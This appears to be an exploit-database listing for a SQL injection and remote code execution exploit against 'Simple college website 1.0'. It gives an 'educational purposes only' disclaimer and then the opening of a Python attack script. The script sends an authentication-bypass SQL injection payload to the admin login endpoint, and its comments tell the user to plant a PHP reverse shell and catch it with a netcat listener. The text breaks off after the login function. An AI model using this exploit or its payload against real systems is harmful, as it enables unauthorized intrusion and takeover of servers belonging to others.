Exploits / Vulnerability Discovered : 2020-10-30 |
Type : webapps |
Platform : php
This exploit / vulnerability Simple college website 1.0 username sql injection / remote code execution is for educational purposes only and if it is used you will do on your own risk!
# replace revshell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz
#!/usr/bin/python3
import requests
import time
def sqli_admin():
s = requests.Session()
data = {"username":"admin' or 1=1#","password":"hacked"}
adminlogin = "http://[TARGET URL]/college_website/admin/ajax.php?action=login"
s.post(adminlogin,data=data)
return s